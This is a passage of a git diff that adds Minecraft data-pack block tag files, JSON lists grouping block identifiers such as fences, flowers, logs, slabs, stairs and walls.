"minecraft:red_sand", + "minecraft:gravel", + "minecraft:brown_mushroom", + "minecraft:red_mushroom", + "minecraft:tnt", + "minecraft:cactus", + "minecraft:clay", + "minecraft:pumpkin", + "minecraft:carved_pumpkin", + "minecraft:melon", + "minecraft:mycelium", + "minecraft:crimson_fungus", + "minecraft:crimson_nylium", + "minecraft:crimson_roots", + "minecraft:warped_fungus", + "minecraft:warped_nylium", + "minecraft:warped_roots" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/fence_gates.json b/src/data/minecraft/tags/blocks/fence_gates.json new file mode 100644 index 00000000..f94523b9 --- /dev/null +++ b/src/data/minecraft/tags/blocks/fence_gates.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:acacia_fence_gate", + "minecraft:birch_fence_gate", + "minecraft:dark_oak_fence_gate", + "minecraft:jungle_fence_gate", + "minecraft:oak_fence_gate", + "minecraft:spruce_fence_gate", + "minecraft:crimson_fence_gate", + "minecraft:warped_fence_gate" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/fences.json b/src/data/minecraft/tags/blocks/fences.json new file mode 100644 index 00000000..0ef08473 --- /dev/null +++ b/src/data/minecraft/tags/blocks/fences.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_fences", + "minecraft:nether_brick_fence" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/fire.json b/src/data/minecraft/tags/blocks/fire.json new file mode 100644 index 00000000..2ca0f384 --- /dev/null +++ b/src/data/minecraft/tags/blocks/fire.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:fire", + "minecraft:soul_fire" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/flower_pots.json b/src/data/minecraft/tags/blocks/flower_pots.json new file mode 100644 index 00000000..b105b95e --- /dev/null +++ b/src/data/minecraft/tags/blocks/flower_pots.json @@ -0,0 +1,35 @@ +{ + "replace": false, + "values": [ + "minecraft:flower_pot", + "minecraft:potted_poppy", + "minecraft:potted_blue_orchid", + "minecraft:potted_allium", + "minecraft:potted_azure_bluet", + "minecraft:potted_red_tulip", + "minecraft:potted_orange_tulip", + "minecraft:potted_white_tulip", + "minecraft:potted_pink_tulip", + "minecraft:potted_oxeye_daisy", + "minecraft:potted_dandelion", + "minecraft:potted_oak_sapling", + "minecraft:potted_spruce_sapling", + "minecraft:potted_birch_sapling", + "minecraft:potted_jungle_sapling", + "minecraft:potted_acacia_sapling", + "minecraft:potted_dark_oak_sapling", + "minecraft:potted_red_mushroom", + "minecraft:potted_brown_mushroom", + "minecraft:potted_dead_bush", + "minecraft:potted_fern", + "minecraft:potted_cactus", + "minecraft:potted_cornflower", + "minecraft:potted_lily_of_the_valley", + "minecraft:potted_wither_rose", + "minecraft:potted_bamboo", + "minecraft:potted_crimson_fungus", + "minecraft:potted_warped_fungus", + "minecraft:potted_crimson_roots", + "minecraft:potted_warped_roots" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/flowers.json b/src/data/minecraft/tags/blocks/flowers.json new file mode 100644 index 00000000..9d1ba3a1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/flowers.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:small_flowers", + "#minecraft:tall_flowers" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/gold_ores.json b/src/data/minecraft/tags/blocks/gold_ores.json new file mode 100644 index 00000000..ee9b150a --- /dev/null +++ b/src/data/minecraft/tags/blocks/gold_ores.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:gold_ore", + "minecraft:nether_gold_ore" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/guarded_by_piglins.json b/src/data/minecraft/tags/blocks/guarded_by_piglins.json new file mode 100644 index 00000000..e1d6ebb5 --- /dev/null +++ b/src/data/minecraft/tags/blocks/guarded_by_piglins.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:gold_block", + "minecraft:barrel", + "minecraft:chest", + "minecraft:ender_chest", + "minecraft:gilded_blackstone", + "minecraft:trapped_chest", + "#minecraft:shulker_boxes", + "#minecraft:gold_ores" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/hoglin_repellents.json b/src/data/minecraft/tags/blocks/hoglin_repellents.json new file mode 100644 index 00000000..2da3b912 --- /dev/null +++ b/src/data/minecraft/tags/blocks/hoglin_repellents.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:warped_fungus", + "minecraft:potted_warped_fungus", + "minecraft:nether_portal", + "minecraft:respawn_anchor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/ice.json b/src/data/minecraft/tags/blocks/ice.json new file mode 100644 index 00000000..c5f45013 --- /dev/null +++ b/src/data/minecraft/tags/blocks/ice.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:ice", + "minecraft:packed_ice", + "minecraft:blue_ice", + "minecraft:frosted_ice" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/impermeable.json b/src/data/minecraft/tags/blocks/impermeable.json new file mode 100644 index 00000000..9a23d087 --- /dev/null +++ b/src/data/minecraft/tags/blocks/impermeable.json @@ -0,0 +1,22 @@ +{ + "replace": false, + "values": [ + "minecraft:glass", + "minecraft:white_stained_glass", + "minecraft:orange_stained_glass", + "minecraft:magenta_stained_glass", + "minecraft:light_blue_stained_glass", + "minecraft:yellow_stained_glass", + "minecraft:lime_stained_glass", + "minecraft:pink_stained_glass", + "minecraft:gray_stained_glass", + "minecraft:light_gray_stained_glass", + "minecraft:cyan_stained_glass", + "minecraft:purple_stained_glass", + "minecraft:blue_stained_glass", + "minecraft:brown_stained_glass", + "minecraft:green_stained_glass", + "minecraft:red_stained_glass", + "minecraft:black_stained_glass" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/infiniburn_end.json b/src/data/minecraft/tags/blocks/infiniburn_end.json new file mode 100644 index 00000000..9d8f1185 --- /dev/null +++ b/src/data/minecraft/tags/blocks/infiniburn_end.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:infiniburn_overworld", + "minecraft:bedrock" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/infiniburn_nether.json b/src/data/minecraft/tags/blocks/infiniburn_nether.json new file mode 100644 index 00000000..8ba042ec --- /dev/null +++ b/src/data/minecraft/tags/blocks/infiniburn_nether.json @@ -0,0 +1,6 @@ +{ + "replace": false, + "values": [ + "#minecraft:infiniburn_overworld" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/infiniburn_overworld.json b/src/data/minecraft/tags/blocks/infiniburn_overworld.json new file mode 100644 index 00000000..432cf25d --- /dev/null +++ b/src/data/minecraft/tags/blocks/infiniburn_overworld.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:netherrack", + "minecraft:magma_block" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/jungle_logs.json b/src/data/minecraft/tags/blocks/jungle_logs.json new file mode 100644 index 00000000..ec51d638 --- /dev/null +++ b/src/data/minecraft/tags/blocks/jungle_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:jungle_log", + "minecraft:jungle_wood", + "minecraft:stripped_jungle_log", + "minecraft:stripped_jungle_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/leaves.json b/src/data/minecraft/tags/blocks/leaves.json new file mode 100644 index 00000000..036ec387 --- /dev/null +++ b/src/data/minecraft/tags/blocks/leaves.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:jungle_leaves", + "minecraft:oak_leaves", + "minecraft:spruce_leaves", + "minecraft:dark_oak_leaves", + "minecraft:acacia_leaves", + "minecraft:birch_leaves" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/logs.json b/src/data/minecraft/tags/blocks/logs.json new file mode 100644 index 00000000..a3d931c1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/logs.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "#minecraft:logs_that_burn", + "#minecraft:crimson_stems", + "#minecraft:warped_stems" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/logs_that_burn.json b/src/data/minecraft/tags/blocks/logs_that_burn.json new file mode 100644 index 00000000..e5a8d0fc --- /dev/null +++ b/src/data/minecraft/tags/blocks/logs_that_burn.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "#minecraft:dark_oak_logs", + "#minecraft:oak_logs", + "#minecraft:acacia_logs", + "#minecraft:birch_logs", + "#minecraft:jungle_logs", + "#minecraft:spruce_logs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/mushroom_grow_block.json b/src/data/minecraft/tags/blocks/mushroom_grow_block.json new file mode 100644 index 00000000..cf95ca25 --- /dev/null +++ b/src/data/minecraft/tags/blocks/mushroom_grow_block.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:mycelium", + "minecraft:podzol", + "minecraft:crimson_nylium", + "minecraft:warped_nylium" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/non_flammable_wood.json b/src/data/minecraft/tags/blocks/non_flammable_wood.json new file mode 100644 index 00000000..71270023 --- /dev/null +++ b/src/data/minecraft/tags/blocks/non_flammable_wood.json @@ -0,0 +1,35 @@ +{ + "replace": false, + "values": [ + "minecraft:warped_stem", + "minecraft:stripped_warped_stem", + "minecraft:warped_hyphae", + "minecraft:stripped_warped_hyphae", + "minecraft:crimson_stem", + "minecraft:stripped_crimson_stem", + "minecraft:crimson_hyphae", + "minecraft:stripped_crimson_hyphae", + "minecraft:crimson_planks", + "minecraft:warped_planks", + "minecraft:crimson_slab", + "minecraft:warped_slab", + "minecraft:crimson_pressure_plate", + "minecraft:warped_pressure_plate", + "minecraft:crimson_fence", + "minecraft:warped_fence", + "minecraft:crimson_trapdoor", + "minecraft:warped_trapdoor", + "minecraft:crimson_fence_gate", + "minecraft:warped_fence_gate", + "minecraft:crimson_stairs", + "minecraft:warped_stairs", + "minecraft:crimson_button", + "minecraft:warped_button", + "minecraft:crimson_door", + "minecraft:warped_door", + "minecraft:crimson_sign", + "minecraft:warped_sign", + "minecraft:crimson_wall_sign", + "minecraft:warped_wall_sign" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/nylium.json b/src/data/minecraft/tags/blocks/nylium.json new file mode 100644 index 00000000..7ce3a5a2 --- /dev/null +++ b/src/data/minecraft/tags/blocks/nylium.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:crimson_nylium", + "minecraft:warped_nylium" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/oak_logs.json b/src/data/minecraft/tags/blocks/oak_logs.json new file mode 100644 index 00000000..927086f6 --- /dev/null +++ b/src/data/minecraft/tags/blocks/oak_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_log", + "minecraft:oak_wood", + "minecraft:stripped_oak_log", + "minecraft:stripped_oak_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/piglin_repellents.json b/src/data/minecraft/tags/blocks/piglin_repellents.json new file mode 100644 index 00000000..407bd501 --- /dev/null +++ b/src/data/minecraft/tags/blocks/piglin_repellents.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_fire", + "minecraft:soul_torch", + "minecraft:soul_lantern", + "minecraft:soul_wall_torch", + "minecraft:soul_campfire" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/planks.json b/src/data/minecraft/tags/blocks/planks.json new file mode 100644 index 00000000..34ef51ff --- /dev/null +++ b/src/data/minecraft/tags/blocks/planks.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_planks", + "minecraft:spruce_planks", + "minecraft:birch_planks", + "minecraft:jungle_planks", + "minecraft:acacia_planks", + "minecraft:dark_oak_planks", + "minecraft:crimson_planks", + "minecraft:warped_planks" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/portals.json b/src/data/minecraft/tags/blocks/portals.json new file mode 100644 index 00000000..e9f000ba --- /dev/null +++ b/src/data/minecraft/tags/blocks/portals.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:nether_portal", + "minecraft:end_portal", + "minecraft:end_gateway" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/pressure_plates.json b/src/data/minecraft/tags/blocks/pressure_plates.json new file mode 100644 index 00000000..b73310c7 --- /dev/null +++ b/src/data/minecraft/tags/blocks/pressure_plates.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:light_weighted_pressure_plate", + "minecraft:heavy_weighted_pressure_plate", + "#minecraft:wooden_pressure_plates", + "#minecraft:stone_pressure_plates" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/prevent_mob_spawning_inside.json b/src/data/minecraft/tags/blocks/prevent_mob_spawning_inside.json new file mode 100644 index 00000000..0f6530e7 --- /dev/null +++ b/src/data/minecraft/tags/blocks/prevent_mob_spawning_inside.json @@ -0,0 +1,6 @@ +{ + "replace": false, + "values": [ + "#minecraft:rails" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/rails.json b/src/data/minecraft/tags/blocks/rails.json new file mode 100644 index 00000000..036ac7fc --- /dev/null +++ b/src/data/minecraft/tags/blocks/rails.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:rail", + "minecraft:powered_rail", + "minecraft:detector_rail", + "minecraft:activator_rail" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/sand.json b/src/data/minecraft/tags/blocks/sand.json new file mode 100644 index 00000000..fa7a9c4a --- /dev/null +++ b/src/data/minecraft/tags/blocks/sand.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:sand", + "minecraft:red_sand" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/saplings.json b/src/data/minecraft/tags/blocks/saplings.json new file mode 100644 index 00000000..04fe81f9 --- /dev/null +++ b/src/data/minecraft/tags/blocks/saplings.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_sapling", + "minecraft:spruce_sapling", + "minecraft:birch_sapling", + "minecraft:jungle_sapling", + "minecraft:acacia_sapling", + "minecraft:dark_oak_sapling" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/shulker_boxes.json b/src/data/minecraft/tags/blocks/shulker_boxes.json new file mode 100644 index 00000000..7bcd4108 --- /dev/null +++ b/src/data/minecraft/tags/blocks/shulker_boxes.json @@ -0,0 +1,22 @@ +{ + "replace": false, + "values": [ + "minecraft:shulker_box", + "minecraft:black_shulker_box", + "minecraft:blue_shulker_box", + "minecraft:brown_shulker_box", + "minecraft:cyan_shulker_box", + "minecraft:gray_shulker_box", + "minecraft:green_shulker_box", + "minecraft:light_blue_shulker_box", + "minecraft:light_gray_shulker_box", + "minecraft:lime_shulker_box", + "minecraft:magenta_shulker_box", + "minecraft:orange_shulker_box", + "minecraft:pink_shulker_box", + "minecraft:purple_shulker_box", + "minecraft:red_shulker_box", + "minecraft:white_shulker_box", + "minecraft:yellow_shulker_box" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/signs.json b/src/data/minecraft/tags/blocks/signs.json new file mode 100644 index 00000000..7677a609 --- /dev/null +++ b/src/data/minecraft/tags/blocks/signs.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:standing_signs", + "#minecraft:wall_signs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/slabs.json b/src/data/minecraft/tags/blocks/slabs.json new file mode 100644 index 00000000..3dca479c --- /dev/null +++ b/src/data/minecraft/tags/blocks/slabs.json @@ -0,0 +1,38 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_slabs", + "minecraft:stone_slab", + "minecraft:smooth_stone_slab", + "minecraft:stone_brick_slab", + "minecraft:sandstone_slab", + "minecraft:purpur_slab", + "minecraft:quartz_slab", + "minecraft:red_sandstone_slab", + "minecraft:brick_slab", + "minecraft:cobblestone_slab", + "minecraft:nether_brick_slab", + "minecraft:petrified_oak_slab", + "minecraft:prismarine_slab", + "minecraft:prismarine_brick_slab", + "minecraft:dark_prismarine_slab", + "minecraft:polished_granite_slab", + "minecraft:smooth_red_sandstone_slab", + "minecraft:mossy_stone_brick_slab", + "minecraft:polished_diorite_slab", + "minecraft:mossy_cobblestone_slab", + "minecraft:end_stone_brick_slab", + "minecraft:smooth_sandstone_slab", + "minecraft:smooth_quartz_slab", + "minecraft:granite_slab", + "minecraft:andesite_slab", + "minecraft:red_nether_brick_slab", + "minecraft:polished_andesite_slab", + "minecraft:diorite_slab", + "minecraft:cut_sandstone_slab", + "minecraft:cut_red_sandstone_slab", + "minecraft:blackstone_slab", + "minecraft:polished_blackstone_brick_slab", + "minecraft:polished_blackstone_slab" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/small_flowers.json b/src/data/minecraft/tags/blocks/small_flowers.json new file mode 100644 index 00000000..395128a6 --- /dev/null +++ b/src/data/minecraft/tags/blocks/small_flowers.json @@ -0,0 +1,18 @@ +{ + "replace": false, + "values": [ + "minecraft:dandelion", + "minecraft:poppy", + "minecraft:blue_orchid", + "minecraft:allium", + "minecraft:azure_bluet", + "minecraft:red_tulip", + "minecraft:orange_tulip", + "minecraft:white_tulip", + "minecraft:pink_tulip", + "minecraft:oxeye_daisy", + "minecraft:cornflower", + "minecraft:lily_of_the_valley", + "minecraft:wither_rose" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/soul_fire_base_blocks.json b/src/data/minecraft/tags/blocks/soul_fire_base_blocks.json new file mode 100644 index 00000000..18c9c11a --- /dev/null +++ b/src/data/minecraft/tags/blocks/soul_fire_base_blocks.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_sand", + "minecraft:soul_soil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/soul_speed_blocks.json b/src/data/minecraft/tags/blocks/soul_speed_blocks.json new file mode 100644 index 00000000..18c9c11a --- /dev/null +++ b/src/data/minecraft/tags/blocks/soul_speed_blocks.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_sand", + "minecraft:soul_soil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/spruce_logs.json b/src/data/minecraft/tags/blocks/spruce_logs.json new file mode 100644 index 00000000..87b5caf6 --- /dev/null +++ b/src/data/minecraft/tags/blocks/spruce_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:spruce_log", + "minecraft:spruce_wood", + "minecraft:stripped_spruce_log", + "minecraft:stripped_spruce_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/stairs.json b/src/data/minecraft/tags/blocks/stairs.json new file mode 100644 index 00000000..1c435365 --- /dev/null +++ b/src/data/minecraft/tags/blocks/stairs.json @@ -0,0 +1,34 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_stairs", + "minecraft:cobblestone_stairs", + "minecraft:sandstone_stairs", + "minecraft:nether_brick_stairs", + "minecraft:stone_brick_stairs", + "minecraft:brick_stairs", + "minecraft:purpur_stairs", + "minecraft:quartz_stairs", + "minecraft:red_sandstone_stairs", + "minecraft:prismarine_brick_stairs", + "minecraft:prismarine_stairs", + "minecraft:dark_prismarine_stairs", + "minecraft:polished_granite_stairs", + "minecraft:smooth_red_sandstone_stairs", + "minecraft:mossy_stone_brick_stairs", + "minecraft:polished_diorite_stairs", + "minecraft:mossy_cobblestone_stairs", + "minecraft:end_stone_brick_stairs", + "minecraft:stone_stairs", + "minecraft:smooth_sandstone_stairs", + "minecraft:smooth_quartz_stairs", + "minecraft:granite_stairs", + "minecraft:andesite_stairs", + "minecraft:red_nether_brick_stairs", + "minecraft:polished_andesite_stairs", + "minecraft:diorite_stairs", + "minecraft:blackstone_stairs", + "minecraft:polished_blackstone_brick_stairs", + "minecraft:polished_blackstone_stairs" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/standing_signs.json b/src/data/minecraft/tags/blocks/standing_signs.json new file mode 100644 index 00000000..6b6500e5 --- /dev/null +++ b/src/data/minecraft/tags/blocks/standing_signs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_sign", + "minecraft:spruce_sign", + "minecraft:birch_sign", + "minecraft:acacia_sign", + "minecraft:jungle_sign", + "minecraft:dark_oak_sign", + "minecraft:crimson_sign", + "minecraft:warped_sign" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/stone_bricks.json b/src/data/minecraft/tags/blocks/stone_bricks.json new file mode 100644 index 00000000..7cec36c5 --- /dev/null +++ b/src/data/minecraft/tags/blocks/stone_bricks.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:stone_bricks", + "minecraft:mossy_stone_bricks", + "minecraft:cracked_stone_bricks", + "minecraft:chiseled_stone_bricks" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/stone_pressure_plates.json b/src/data/minecraft/tags/blocks/stone_pressure_plates.json new file mode 100644 index 00000000..c4e413b1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/stone_pressure_plates.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:stone_pressure_plate", + "minecraft:polished_blackstone_pressure_plate" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/strider_warm_blocks.json b/src/data/minecraft/tags/blocks/strider_warm_blocks.json new file mode 100644 index 00000000..b009780b --- /dev/null +++ b/src/data/minecraft/tags/blocks/strider_warm_blocks.json @@ -0,0 +1,6 @@ +{ + "replace": false, + "values": [ + "minecraft:lava" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/tall_flowers.json b/src/data/minecraft/tags/blocks/tall_flowers.json new file mode 100644 index 00000000..681427ff --- /dev/null +++ b/src/data/minecraft/tags/blocks/tall_flowers.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:sunflower", + "minecraft:lilac", + "minecraft:peony", + "minecraft:rose_bush" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/trapdoors.json b/src/data/minecraft/tags/blocks/trapdoors.json new file mode 100644 index 00000000..d9625857 --- /dev/null +++ b/src/data/minecraft/tags/blocks/trapdoors.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_trapdoors", + "minecraft:iron_trapdoor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/underwater_bonemeals.json b/src/data/minecraft/tags/blocks/underwater_bonemeals.json new file mode 100644 index 00000000..c1245146 --- /dev/null +++ b/src/data/minecraft/tags/blocks/underwater_bonemeals.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:seagrass", + "#minecraft:corals", + "#minecraft:wall_corals" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/unstable_bottom_center.json b/src/data/minecraft/tags/blocks/unstable_bottom_center.json new file mode 100644 index 00000000..6766bc43 --- /dev/null +++ b/src/data/minecraft/tags/blocks/unstable_bottom_center.json @@ -0,0 +1,6 @@ +{ + "replace": false, + "values": [ + "#minecraft:fence_gates" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/valid_spawn.json b/src/data/minecraft/tags/blocks/valid_spawn.json new file mode 100644 index 00000000..bcbc42e1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/valid_spawn.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:grass_block", + "minecraft:podzol" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wall_corals.json b/src/data/minecraft/tags/blocks/wall_corals.json new file mode 100644 index 00000000..db2c3304 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wall_corals.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:tube_coral_wall_fan", + "minecraft:brain_coral_wall_fan", + "minecraft:bubble_coral_wall_fan", + "minecraft:fire_coral_wall_fan", + "minecraft:horn_coral_wall_fan" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wall_post_override.json b/src/data/minecraft/tags/blocks/wall_post_override.json new file mode 100644 index 00000000..2fbdd646 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wall_post_override.json @@ -0,0 +1,12 @@ +{ + "replace": false, + "values": [ + "minecraft:torch", + "minecraft:soul_torch", + "minecraft:redstone_torch", + "minecraft:tripwire", + "#minecraft:signs", + "#minecraft:banners", + "#minecraft:pressure_plates" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wall_signs.json b/src/data/minecraft/tags/blocks/wall_signs.json new file mode 100644 index 00000000..ca5cb43f --- /dev/null +++ b/src/data/minecraft/tags/blocks/wall_signs.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_wall_sign", + "minecraft:spruce_wall_sign", + "minecraft:birch_wall_sign", + "minecraft:acacia_wall_sign", + "minecraft:jungle_wall_sign", + "minecraft:dark_oak_wall_sign", + "minecraft:crimson_wall_sign", + "minecraft:warped_wall_sign" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/walls.json b/src/data/minecraft/tags/blocks/walls.json new file mode 100644 index 00000000..2f0ae281 --- /dev/null +++ b/src/data/minecraft/tags/blocks/walls.json @@ -0,0 +1,22 @@ +{ + "replace": false, + "values": [ + "minecraft:cobblestone_wall", + "minecraft:mossy_cobblestone_wall", + "minecraft:brick_wall", + "minecraft:prismarine_wall", + "minecraft:red_sandstone_wall", + "minecraft:mossy_stone_brick_wall", + "minecraft:granite_wall", + "minecraft:stone_brick_wall", + "minecraft:nether_brick_wall", + "minecraft:andesite_wall", + "minecraft:red_nether_brick_wall", + "minecraft:sandstone_wall", + "minecraft:end_stone_brick_wall", + "minecraft:diorite_wall", + "minecraft:blackstone_wall", + "minecraft:polished_blackstone_brick_wall", + "minecraft:polished_blackstone_wall" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/warped_stems.json b/src/data/minecraft/tags/blocks/warped_stems.json new file mode 100644 index 00000000..4174cdbf --- /dev/null +++ b/src/data/minecraft/tags/blocks/warped_stems.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:warped_stem", + "minecraft:stripped_warped_stem", + "minecraft:warped_hyphae", + "minecraft:stripped_warped_hyphae" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wart_blocks.json b/src/data/minecraft/tags/blocks/wart_blocks.json new file mode 100644 index 00000000..97a811d6 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wart_blocks.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:nether_wart_block", + "minecraft:warped_wart_block" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wither_immune.json b/src/data/minecraft/tags/blocks/wither_immune.json new file mode 100644 index 00000000..995c6486 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wither_immune.json @@ -0,0 +1,16 @@ +{ + "replace": false, + "values": [ + "minecraft:barrier", + "minecraft:bedrock", + "minecraft:end_portal", + "minecraft:end_portal_frame", + "minecraft:end_gateway", + "minecraft:command_block", + "minecraft:repeating_command_block", + "minecraft:chain_command_block", + "minecraft:structure_block", + "minecraft:jigsaw", + "minecraft:moving_piston" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wither_summon_base_blocks.json b/src/data/minecraft/tags/blocks/wither_summon_base_blocks.json new file mode 100644 index 00000000..18c9c11a --- /dev/null +++ b/src/data/minecraft/tags/blocks/wither_summon_base_blocks.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:soul_sand", + "minecraft:soul_soil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_buttons.json b/src/data/minecraft/tags/blocks/wooden_buttons.json new file mode 100644 index 00000000..27515915 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_buttons.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_button", + "minecraft:spruce_button", + "minecraft:birch_button", + "minecraft:jungle_button", + "minecraft:acacia_button", + "minecraft:dark_oak_button", + "minecraft:crimson_button", + "minecraft:warped_button" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_doors.json b/src/data/minecraft/tags/blocks/wooden_doors.json new file mode 100644 index 00000000..161af841 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_doors.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_door", + "minecraft:spruce_door", + "minecraft:birch_door", + "minecraft:jungle_door", + "minecraft:acacia_door", + "minecraft:dark_oak_door", + "minecraft:crimson_door", + "minecraft:warped_door" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/wooden_fences.json b/src/data/minecraft/tags/blocks/wooden_fences.json new file mode 100644 index 00000000..e853ce55 --- /dev/null +++ b/src/data/minecraft/tags/blocks/wooden_fences.json @@ -0,0 +1,13 @@ +{ + "replace": false, + "values": [ + "minecraft:oak_fence", + "minecraft:acacia_fence", + "minecraft:dark_oak_fence", + "minecraft:spruce_fence", + "minecraft:birch_fence", + "minecraft:jungle_fence", + 